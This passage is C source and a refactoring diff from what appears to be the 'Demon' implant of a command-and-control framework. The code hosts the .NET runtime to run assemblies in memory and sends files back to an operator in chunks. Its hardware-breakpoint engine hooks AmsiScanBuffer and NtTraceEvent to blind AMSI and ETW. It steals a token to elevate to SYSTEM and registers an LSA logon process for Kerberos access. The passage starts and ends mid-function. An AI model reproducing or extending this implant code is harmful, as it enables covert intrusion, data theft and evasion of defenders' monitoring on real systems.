Instance->Dotnet->Assembly->lpVtbl->Release( Instance->Dotnet->Assembly );
Instance->Dotnet->Assembly = NULL;
}
if ( Instance->Dotnet->AppDomain )
{
Instance->Dotnet->AppDomain->lpVtbl->Release( Instance->Dotnet->AppDomain );
Instance->Dotnet->AppDomain = NULL;
}
if ( Instance->Dotnet->AppDomainThunk != NULL )
{
Instance->Dotnet->AppDomainThunk->lpVtbl->Release( Instance->Dotnet->AppDomainThunk );
}
if ( Instance->Dotnet->ICorRuntimeHost )
{
Instance->Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainThunk );
Instance->Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance->Dotnet->ICorRuntimeHost );
Instance->Dotnet->ICorRuntimeHost = NULL;
}
if ( Instance->Dotnet->ClrRuntimeInfo != NULL )
{
Instance->Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance->Dotnet->ClrRuntimeInfo );
Instance->Dotnet->ClrRuntimeInfo = NULL;
}
if ( Instance->Dotnet->MetaHost != NULL )
{
Instance->Dotnet->MetaHost->lpVtbl->Release( Instance->Dotnet->MetaHost );
Instance->Dotnet->MetaHost = NULL;
}
if ( Instance->Dotnet->Thread ) {
SysNtTerminateThread( Instance->Dotnet->Thread, 0 );
SysNtClose( Instance->Dotnet->Thread );
}
if ( Instance->Dotnet->Exit ) {
SysNtClose( Instance->Dotnet->Exit );
}
if ( Instance->Dotnet ) {
MemSet( Instance->Dotnet, 0, sizeof( DOTNET_ARGS ) );
MmHeapFree( Instance->Dotnet );
Instance->Dotnet = NULL;
}
}
BOOL FindVersion( PVOID Assembly, DWORD length )
{
char* assembly_c;
assembly_c = (char*)Assembly;
char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
for (int i = 0; i < length; i++)
{
for (int j = 0; j < 10; j++)
{
if (v4[j] != assembly_c[i + j])
break;
else
{
if (j == (9))
return 1;
}
}
}
return 0;
}
DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PICLRRuntimeInfo *ppClrRuntimeInfo, ICorRuntimeHost **ppICorRuntimeHost )
{
BOOL fLoadable = FALSE;
if ( RtMscoree() )
{
if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK )
{
if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK )
{
if ( ( ( *ppClrRuntimeInfo )->lpVtbl->IsLoadable( *ppClrRuntimeInfo, &fLoadable ) == S_OK ) && fLoadable )
{
//Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works
if ( ( *ppClrRuntimeInfo )->lpVtbl->GetInterface( *ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost ) == S_OK )
{
//Start it. This is okay to call even if the CLR is already running
( *ppICorRuntimeHost )->lpVtbl->Start( *ppICorRuntimeHost );
}
else
{
PRINTF("[-] ( GetInterface ) Process refusing to get interface of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PRINTF("[-] ( IsLoadable ) Process refusing to load %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PRINTF("[-] ( GetRuntime ) Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PRINTF("[-] ( CLRCreateInstance ) Process refusing to create %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PUTS("Failed to load mscoree.dll")
return 0;
}
return 1;
}
@@ -1,24 +1,24 @@
#include <Demon.h>
#include <Core/MiniStd.h>
#include <core/MiniStd.h>
/* Add file to linked list with type (upload/download) */
PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize )
{
PDOWNLOAD_DATA Download = NULL;
Download = NtHeapAlloc( sizeof( DOWNLOAD_DATA ) );
Download = MmHeapAlloc( sizeof( DOWNLOAD_DATA ) );
Download->FileID = RandomNumber32();
Download->hFile = hFile;
Download->Size = MaxSize;
Download->State = DOWNLOAD_STATE_RUNNING;
Download->Next = Instance.Downloads;
Download->RequestID = Instance.CurrentRequestID;
Download->Next = Instance->Downloads;
Download->RequestID = Instance->CurrentRequestID;
/* Push to linked list */
Instance.Downloads = Download;
Instance->Downloads = Download;
PRINTF( "Instance.Downloads => %p\n", Instance.Downloads )
PRINTF( "Instance->Downloads => %p\n", Instance->Downloads )
return Download;
}
@@ -28,7 +28,7 @@ PDOWNLOAD_DATA DownloadGet( DWORD FileID )
{
PDOWNLOAD_DATA Download = NULL;
for ( Download = Instance.Downloads; Download == NULL; Download = Download->Next )
for ( Download = Instance->Downloads; Download == NULL; Download = Download->Next )
{
if ( Download->FileID == FileID )
break;
@@ -49,7 +49,7 @@ VOID DownloadFree( PDOWNLOAD_DATA Download )
/* Now free the struct */
MemSet( Download, 0, sizeof( DOWNLOAD_DATA ) );
NtHeapFree( Download );
MmHeapFree( Download );
Download = NULL;
}
@@ -59,8 +59,8 @@ BOOL DownloadRemove( DWORD FileID )
PDOWNLOAD_DATA Last = NULL;
BOOL Success = FALSE;
Download = Instance.Downloads;
Last = Instance.Downloads;
Download = Instance->Downloads;
Last = Instance->Downloads;
for ( ;; )
{
@@ -97,17 +97,17 @@ VOID DownloadPush()
PDOWNLOAD_DATA DownLast = NULL;
PPACKAGE Package = NULL;
Download = Instance.Downloads;
Download = Instance->Downloads;
/* do we actually have downloads pending? */
if ( ! Download )
{
/* we don't have any downloads, free the DownloadChunk if we have one */
if ( Instance.DownloadChunk.Buffer )
if ( Instance->DownloadChunk.Buffer )
{
MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length );
NtHeapFree( Instance.DownloadChunk.Buffer );
Instance.DownloadChunk.Buffer = NULL;
MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );
MmHeapFree( Instance->DownloadChunk.Buffer );
Instance->DownloadChunk.Buffer = NULL;
}
return;
@@ -121,12 +121,12 @@ VOID DownloadPush()
/* seems like we have some current downloads
* allocate a chunk of memory to use for the chunks. */
if ( ! Instance.DownloadChunk.Buffer )
if ( ! Instance->DownloadChunk.Buffer )
{
Instance.DownloadChunk.Buffer = NtHeapAlloc( Instance.Config.Implant.DownloadChunkSize );
Instance.DownloadChunk.Length = Instance.Config.Implant.DownloadChunkSize;
Instance->DownloadChunk.Buffer = MmHeapAlloc( Instance->Config.Implant.DownloadChunkSize );
Instance->DownloadChunk.Length = Instance->Config.Implant.DownloadChunkSize;
PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance.DownloadChunk.Buffer, Instance.DownloadChunk.Length )
PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length )
}
PRINTF( "Download: %p\n", Download )
@@ -137,9 +137,9 @@ VOID DownloadPush()
PRINTF( "Download (%x) is in state DOWNLOAD_STATE_RUNNING\n", Download->FileID )
/* Reset memory. */
MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length );
MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );
if ( ! Instance.Win32.ReadFile( Download->hFile, Instance.DownloadChunk.Buffer, Instance.DownloadChunk.Length, &Read, NULL ) )
if ( ! Instance->Win32.ReadFile( Download->hFile, Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length, &Read, NULL ) )
PRINTF( "ReadFile Failed: Error[%d]\n", NtGetLastError() );
Download->Size -= Read;
@@ -158,7 +158,7 @@ VOID DownloadPush()
PackageAddInt32( Package, Download->FileID );
/* Download Write data (and only send what we read.) */
PackageAddBytes( Package, Instance.DownloadChunk.Buffer, Read );
PackageAddBytes( Package, Instance->DownloadChunk.Buffer, Read );
/* Send that chunk */
PUTS( "transmit download chunk" )
@@ -197,7 +197,7 @@ VOID DownloadPush()
Download = Download->Next;
}
Download = Instance.Downloads;
Download = Instance->Downloads;
DownLast = NULL;
/* why do we do that again ?
@@ -212,7 +212,7 @@ VOID DownloadPush()
/* we are at the beginning. */
if ( ! DownLast )
{
Instance.Downloads = Download->Next;
Instance->Downloads = Download->Next;
DownloadFree( Download );
Download = NULL;
}
@@ -231,13 +231,13 @@ VOID DownloadPush()
}
/* Reset memory. */
if ( Instance.DownloadChunk.Buffer )
MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length );
if ( Instance->DownloadChunk.Buffer )
MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );
}
BOOL MemFileIsNew( ULONG32 ID )
{
PMEM_FILE MemFile = Instance.MemFiles;
PMEM_FILE MemFile = Instance->MemFiles;
while ( MemFile )
{
@@ -255,12 +255,12 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )
{
PMEM_FILE MemFile = NULL;
MemFile = NtHeapAlloc( sizeof( MEM_FILE ) );
MemFile = MmHeapAlloc( sizeof( MEM_FILE ) );
MemFile->ID = ID;
MemFile->Size = Size;
MemFile->Data = NtHeapAlloc( MemFile->Size );
MemFile->Data = MmHeapAlloc( MemFile->Size );
MemFile->ReadSize = 0;
MemFile->Next = Instance.MemFiles;
MemFile->Next = Instance->MemFiles;
if ( ! MemFile->Data )
{
@@ -277,7 +277,7 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )
PRINTF( "Copying %x bytes, bytes missing: 0x%x\n", ReadSize, MemFile->Size - MemFile->ReadSize )
/* Push to linked list */
Instance.MemFiles = MemFile;
Instance->MemFiles = MemFile;
PRINTF( "Added a MemFile [%x]\n", MemFile->ID )
@@ -286,7 +286,7 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )
PMEM_FILE GetMemFile( ULONG32 ID )
{
PMEM_FILE MemFile = Instance.MemFiles;
PMEM_FILE MemFile = Instance->MemFiles;
while ( MemFile )
{
@@ -342,13 +342,13 @@ VOID MemFileFree( PMEM_FILE MemFile )
MemSet( MemFile->Data, 0, MemFile->Size );
if ( MemFile->Data )
NtHeapFree( MemFile->Data );
MmHeapFree( MemFile->Data );
MemFile->Data = NULL;
MemFile->Size = 0;
MemSet( MemFile, 0, sizeof( MEM_FILE ) );
NtHeapFree( MemFile );
MmHeapFree( MemFile );
MemFile = NULL;
}
@@ -358,12 +358,12 @@ BOOL RemoveMemFile( ULONG32 ID )
PMEM_FILE Last = NULL;
BOOL Success = FALSE;
if ( Instance.MemFiles && Instance.MemFiles->Next == NULL )
if ( Instance->MemFiles && Instance->MemFiles->Next == NULL )
{
if ( Instance.MemFiles->ID == ID )
if ( Instance->MemFiles->ID == ID )
{
MemFileFree( Instance.MemFiles );
Instance.MemFiles = NULL;
MemFileFree( Instance->MemFiles );
Instance->MemFiles = NULL;
Success = TRUE;
}
@@ -371,8 +371,8 @@ BOOL RemoveMemFile( ULONG32 ID )
return Success;
}
MemFile = Instance.MemFiles;
Last = Instance.MemFiles;
MemFile = Instance->MemFiles;
Last = Instance->MemFiles;
for ( ;; )
{
@@ -1,11 +1,11 @@
#include <Demon.h>
#include <Core/HwBpEngine.h>
#include <Core/HwBpExceptions.h>
#include <Core/SysNative.h>
#include <Core/MiniStd.h>
#include <core/HwBpEngine.h>
#include <core/HwBpExceptions.h>
#include <core/SysNative.h>
#include <core/MiniStd.h>
LONG ExceptionHandler(
IN OUT PEXCEPTION_POINTERS Exception
_Inout_ PEXCEPTION_POINTERS Exception
);
/*!
@@ -25,22 +25,22 @@ NTSTATUS HwBpEngineInit(
/* check if an engine object has been specified in the function param.
* if not then check if the callee wants to init the global engine.
* tho if the global engine has been already init then abort */
if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance.HwBpEngine ) {
if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance->HwBpEngine ) {
return STATUS_INVALID_PARAMETER;
}
if ( Instance.HwBpEngine ) {
if ( Instance->HwBpEngine ) {
}
/* since we did not specify an engine let's use the global one */
if ( ! HwBpEngine ) {
HwBpEngine = Instance.HwBpEngine = NtHeapAlloc( sizeof( HWBP_ENGINE ) );
HwBpEngine = Instance->HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) );
HwBpHandler = &ExceptionHandler;
}
/* register Vectored exception handler */
if ( ! ( HwBpEngine->Veh = Instance.Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) {
if ( ! ( HwBpEngine->Veh = Instance->Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) {
return STATUS_UNSUCCESSFUL;
}
@@ -64,7 +64,7 @@ NTSTATUS HwBpEngineSetBp(
IN BYTE Position,
IN BYTE Add
) {
DWORD Pid = Instance.Session.PID;
DWORD Pid = Instance->Session.PID;
CLIENT_ID Client = { 0 };
CONTEXT Context = { 0 };
HANDLE Thread = NULL;
@@ -162,7 +162,7 @@ NTSTATUS HwBpEngineAdd(
PRINTF( "Engine:[%p] Tid:[%d] Address:[%p] Function:[%p] Position:[%d]\n", Engine, Tid, Address, Function, Position )
/* check if engine has been specified */
if ( ! HwBpEngine && ! Instance.HwBpEngine ) {
if ( ! HwBpEngine && ! Instance->HwBpEngine ) {
return STATUS_INVALID_PARAMETER;
}
@@ -173,11 +173,11 @@ NTSTATUS HwBpEngineAdd(
/* if no engine specified use the global one */
if ( ! HwBpEngine ) {
HwBpEngine = Instance.HwBpEngine;
HwBpEngine = Instance->HwBpEngine;
}
/* create bp entry */
BpEntry = NtHeapAlloc( sizeof( BP_LIST ) );
BpEntry = MmHeapAlloc( sizeof( BP_LIST ) );
BpEntry->Tid = Tid;
BpEntry->Address = Address;
BpEntry->Function = Function;
@@ -199,7 +199,7 @@ NTSTATUS HwBpEngineAdd(
FAILED:
if ( BpEntry ) {
NtHeapFree( BpEntry );
MmHeapFree( BpEntry );
BpEntry = NULL;
}
@@ -215,12 +215,12 @@ NTSTATUS HwBpEngineRemove(
PBP_LIST BpEntry = NULL;
PBP_LIST BpLast = NULL;
if ( ! Engine && ! Instance.HwBpEngine ) {
if ( ! Engine && ! Instance->HwBpEngine ) {
return STATUS_INVALID_PARAMETER;
}
if ( ! HwBpEngine ) {
HwBpEngine = Instance.HwBpEngine;
HwBpEngine = Instance->HwBpEngine;
}
/* set linked list */
@@ -246,7 +246,7 @@ NTSTATUS HwBpEngineRemove(
MemZero( BpEntry, sizeof( BP_LIST ) );
/* free memory struct */
NtHeapFree( BpEntry );
MmHeapFree( BpEntry );
break;
}
@@ -265,16 +265,16 @@ NTSTATUS HwBpEngineDestroy(
PBP_LIST BpEntry = NULL;
PBP_LIST BpNext = NULL;
if ( ! Engine && ! Instance.HwBpEngine ) {
if ( ! Engine && ! Instance->HwBpEngine ) {
return STATUS_INVALID_PARAMETER;
}
if ( ! HwBpEngine ) {
HwBpEngine = Instance.HwBpEngine;
HwBpEngine = Instance->HwBpEngine;
}
/* remove Vector exception handler */
Instance.Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh );
Instance->Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh );
BpEntry = HwBpEngine->Breakpoints;
@@ -295,16 +295,16 @@ NTSTATUS HwBpEngineDestroy(
MemZero( BpEntry, sizeof( BP_LIST ) );
/* free memory struct */
NtHeapFree( BpEntry );
MmHeapFree( BpEntry );
BpEntry = BpNext;
} while ( TRUE );
/* free global state */
if ( HwBpEngine == Instance.HwBpEngine ) {
NtHeapFree( HwBpEngine );
if ( HwBpEngine == Instance->HwBpEngine ) {
MmHeapFree( HwBpEngine );
Instance.HwBpEngine = NULL;
Instance->HwBpEngine = NULL;
}
HwBpEngine = NULL;
@@ -318,7 +318,7 @@ NTSTATUS HwBpEngineDestroy(
* @return
*/
LONG ExceptionHandler(
IN OUT PEXCEPTION_POINTERS Exception
_Inout_ PEXCEPTION_POINTERS Exception
) {
PBP_LIST BpEntry = NULL;
BOOL Found = FALSE;
@@ -327,7 +327,7 @@ LONG ExceptionHandler(
{
PRINTF( "Exception Address: %p\n", Exception->ExceptionRecord->ExceptionAddress )
BpEntry = Instance.HwBpEngine->Breakpoints;
BpEntry = Instance->HwBpEngine->Breakpoints;
/* search in linked list for bp entry */
while ( BpEntry )
@@ -1,10 +1,10 @@
#include <Demon.h>
#include <Core/HwBpExceptions.h>
#include <core/HwBpExceptions.h>
#if _WIN64
VOID HwBpExAmsiScanBuffer(
IN OUT PEXCEPTION_POINTERS Exception
_Inout_ PEXCEPTION_POINTERS Exception
) {
PVOID Return = NULL;
@@ -21,7 +21,7 @@ VOID HwBpExAmsiScanBuffer(
}
VOID HwBpExNtTraceEvent(
IN OUT PEXCEPTION_POINTERS Exception
_Inout_ PEXCEPTION_POINTERS Exception
) {
PVOID Return = NULL;
@@ -1,10 +1,9 @@
#include <Demon.h>
#include <Core/Jobs.h>
#include <Core/Package.h>
#include <Core/MiniStd.h>
#include <Loader/ObjectApi.h>
#include <core/Jobs.h>
#include <core/Package.h>
#include <core/MiniStd.h>
#include <core/ObjectApi.h>
/*!
* JobAdd
@@ -22,7 +21,7 @@ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Hand
PJOB_DATA JobList = NULL;
PJOB_DATA Job = NULL;
Job = Instance.Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) );
Job = Instance->Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) );
// fill the Job info and insert it into our linked list
Job->RequestID = RequestID;
@@ -33,13 +32,13 @@ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Hand
Job->Data = Data;
Job->Next = NULL;
if ( Instance.Jobs == NULL )
if ( Instance->Jobs == NULL )
{
Instance.Jobs = Job;
Instance->Jobs = Job;
return;
}
JobList = Instance.Jobs;
JobList = Instance->Jobs;
do {
if ( JobList )
@@ -65,7 +64,7 @@ VOID JobCheckList()
{
PJOB_DATA JobList = NULL;
JobList = Instance.Jobs;
JobList = Instance->Jobs;
do {
if ( ! JobList )
@@ -78,7 +77,7 @@ VOID JobCheckList()
if ( JobList->State == JOB_STATE_RUNNING )
{
DWORD Return = 0;
Instance.Win32.GetExitCodeProcess( JobList->Handle, &Return );
Instance->Win32.GetExitCodeProcess( JobList->Handle, &Return );
if ( Return != STILL_ACTIVE )
JobList->State = JOB_STATE_DEAD;
@@ -91,7 +90,7 @@ VOID JobCheckList()
if ( JobList->State == JOB_STATE_RUNNING )
{
DWORD Return = 0;
Instance.Win32.GetExitCodeThread( JobList->Handle, &Return );
Instance->Win32.GetExitCodeThread( JobList->Handle, &Return );
if ( Return != STILL_ACTIVE )
JobList->State = JOB_STATE_DEAD;
@@ -106,7 +105,7 @@ VOID JobCheckList()
{
DWORD Status = 0;
Instance.Win32.GetExitCodeProcess( JobList->Handle, &Status );
Instance->Win32.GetExitCodeProcess( JobList->Handle, &Status );
if ( Status != STILL_ACTIVE )
{
@@ -146,16 +145,16 @@ VOID JobCheckList()
PVOID Buffer = NULL;
DWORD Size = 0;
if ( Instance.Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
{
PRINTF( "PeekNamedPipe: Available anon size %d\n", Available );
if ( Available > 0 )
{
Size = Available;
Buffer = Instance.Win32.LocalAlloc( LPTR, Size );
Buffer = Instance->Win32.LocalAlloc( LPTR, Size );
if ( Instance.Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
{
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID );
PackageAddBytes( Package, Buffer, Available );
@@ -184,7 +183,7 @@ VOID JobCheckList()
*/
BOOL JobSuspend( DWORD JobID )
{
PJOB_DATA JobList = Instance.Jobs;
PJOB_DATA JobList = Instance->Jobs;
while ( JobList )
{
@@ -230,7 +229,7 @@ BOOL JobSuspend( DWORD JobID )
*/
BOOL JobResume( DWORD JobID )
{
PJOB_DATA JobList = Instance.Jobs;
PJOB_DATA JobList = Instance->Jobs;
while ( JobList )
{
@@ -278,7 +277,7 @@ BOOL JobResume( DWORD JobID )
BOOL JobKill( DWORD JobID )
{
BOOL Success = FALSE;
PJOB_DATA JobList = Instance.Jobs;
PJOB_DATA JobList = Instance->Jobs;
while ( JobList )
{
@@ -300,17 +299,17 @@ BOOL JobKill( DWORD JobID )
{
PUTS( "Kill using handle" )
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) )
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) )
{
PRINTF( "TerminateThread NtStatus:[%ul]\n", NtStatus )
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
PACKAGE_ERROR_WIN32;
Success = FALSE;
}
else
{
// remove one thread from counter
Instance.Threads--;
Instance->Threads--;
}
}
else
@@ -326,7 +325,7 @@ BOOL JobKill( DWORD JobID )
{
if ( JobList->State != JOB_STATE_DEAD )
{
Instance.Win32.TerminateProcess( JobList->Handle, 0 );
Instance->Win32.TerminateProcess( JobList->Handle, 0 );
}
break;
}
@@ -335,22 +334,22 @@ BOOL JobKill( DWORD JobID )
{
if ( JobList->State != JOB_STATE_DEAD )
{
Instance.Win32.TerminateProcess( JobList->Handle, 0 );
Instance->Win32.TerminateProcess( JobList->Handle, 0 );
// just read what there is available.
DWORD Available = 0;
PVOID Buffer = NULL;
if ( Instance.Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )
{
PRINTF( "PeekNamedPipe: Available anon size %d\n", Available );
if ( Available > 0 )
{
DWORD Size = Available;
Buffer = Instance.Win32.LocalAlloc( LPTR, Size );
Buffer = Instance->Win32.LocalAlloc( LPTR, Size );
if ( Instance.Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )
{
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID );
PackageAddBytes( Package, Buffer, Available );
@@ -389,14 +388,14 @@ VOID JobRemove( DWORD JobID )
PJOB_DATA JobList = NULL;
PJOB_DATA JobToRemove = NULL;
if ( Instance.Jobs && Instance.Jobs->JobID == JobID )
if ( Instance->Jobs && Instance->Jobs->JobID == JobID )
{
JobToRemove = Instance.Jobs;
Instance.Jobs = JobToRemove->Next;
JobToRemove = Instance->Jobs;
Instance->Jobs = JobToRemove->Next;
}
else
{
JobList = Instance.Jobs;
JobList = Instance->Jobs;
while ( JobList )
{
@@ -427,6 +426,6 @@ VOID JobRemove( DWORD JobID )
}
MemSet( JobToRemove, 0, sizeof( JOB_DATA ) );
Instance.Win32.LocalFree( JobToRemove );
Instance->Win32.LocalFree( JobToRemove );
JobToRemove = NULL;
}
@@ -1,9 +1,9 @@
#include <Demon.h>
#include <Core/Kerberos.h>
#include <Core/Win32.h>
#include <Core/MiniStd.h>
#include <Core/Token.h>
#include <core/Kerberos.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/Token.h>
BOOL IsHighIntegrity(HANDLE TokenHandle)
{
@@ -12,14 +12,14 @@ BOOL IsHighIntegrity(HANDLE TokenHandle)
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup = NULL;
Success = Instance.Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup );
Success = Instance->Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup );
if ( Success )
{
if ( ! Instance.Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) )
if ( ! Instance->Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) )
{
ReturnValue = FALSE;
}
Instance.Win32.FreeSid( AdministratorsGroup );
Instance->Win32.FreeSid( AdministratorsGroup );
AdministratorsGroup = NULL;
}
@@ -32,14 +32,14 @@ DWORD GetProcessIdByName(WCHAR* processName)
PROCESSENTRY32W pe32 = { 0 };
DWORD Pid = -1;
hProcessSnap = Instance.Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
hProcessSnap = Instance->Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if ( hProcessSnap == INVALID_HANDLE_VALUE )
{
return Pid;
}
pe32.dwSize = sizeof(PROCESSENTRY32W);
if ( ! Instance.Win32.Process32FirstW( hProcessSnap, &pe32 ) )
if ( ! Instance->Win32.Process32FirstW( hProcessSnap, &pe32 ) )
{
SysNtClose( hProcessSnap );
return Pid;
@@ -52,7 +52,7 @@ DWORD GetProcessIdByName(WCHAR* processName)
break;
}
} while (Instance.Win32.Process32NextW(hProcessSnap, &pe32));
} while (Instance->Win32.Process32NextW(hProcessSnap, &pe32));
SysNtClose( hProcessSnap );
return Pid;
@@ -109,20 +109,20 @@ BOOL ElevateToSystem()
}
else
{
PRINTF( "TokenDuplicate: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
PRINTF( "TokenDuplicate: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
}
SysNtClose( hToken );
}
else
{
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
}
SysNtClose( hProcess );
}
else
{
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
}
return ReturnValue;
@@ -138,16 +138,16 @@ BOOL IsSystem( HANDLE TokenHandle )
PSID pSystemSid = NULL;
BOOL bSystem = FALSE;
if ( ! Instance.Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) )
if ( ! Instance->Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) )
{
return FALSE;
}
if ( ! Instance.Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) )
if ( ! Instance->Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) )
return FALSE;
bSystem = Instance.Win32.EqualSid( pTokenUser->User.Sid, pSystemSid );
Instance.Win32.FreeSid( pSystemSid );
bSystem = Instance->Win32.EqualSid( pTokenUser->User.Sid, pSystemSid );
Instance->Win32.FreeSid( pSystemSid );
return bSystem;
}
@@ -160,10 +160,10 @@ NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa )
if ( ! highIntegrity )
{
status = Instance.Win32.LsaConnectUntrusted( &hLsaLocal );
status = Instance->Win32.LsaConnectUntrusted( &hLsaLocal );
if ( ! NT_SUCCESS( status ) )
{
status = Instance.Win32.LsaNtStatusToWinError( status );
status = Instance->Win32.LsaNtStatusToWinError( status );
}
}
else
@@ -182,24 +182,24 @@ NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa )
name[ 9 ] = HideChar('\0');
name[ 5 ] = HideChar('o');
STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};
status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
if ( ! NT_SUCCESS( status ) || ! hLsaLocal )
{
if ( IsSystem( hToken ) )
{
status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
if ( ! NT_SUCCESS( status ) )
{
status = Instance.Win32.LsaNtStatusToWinError( status );
status = Instance->Win32.LsaNtStatusToWinError( status );
}
}
else
{
if ( ElevateToSystem() )
{
status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
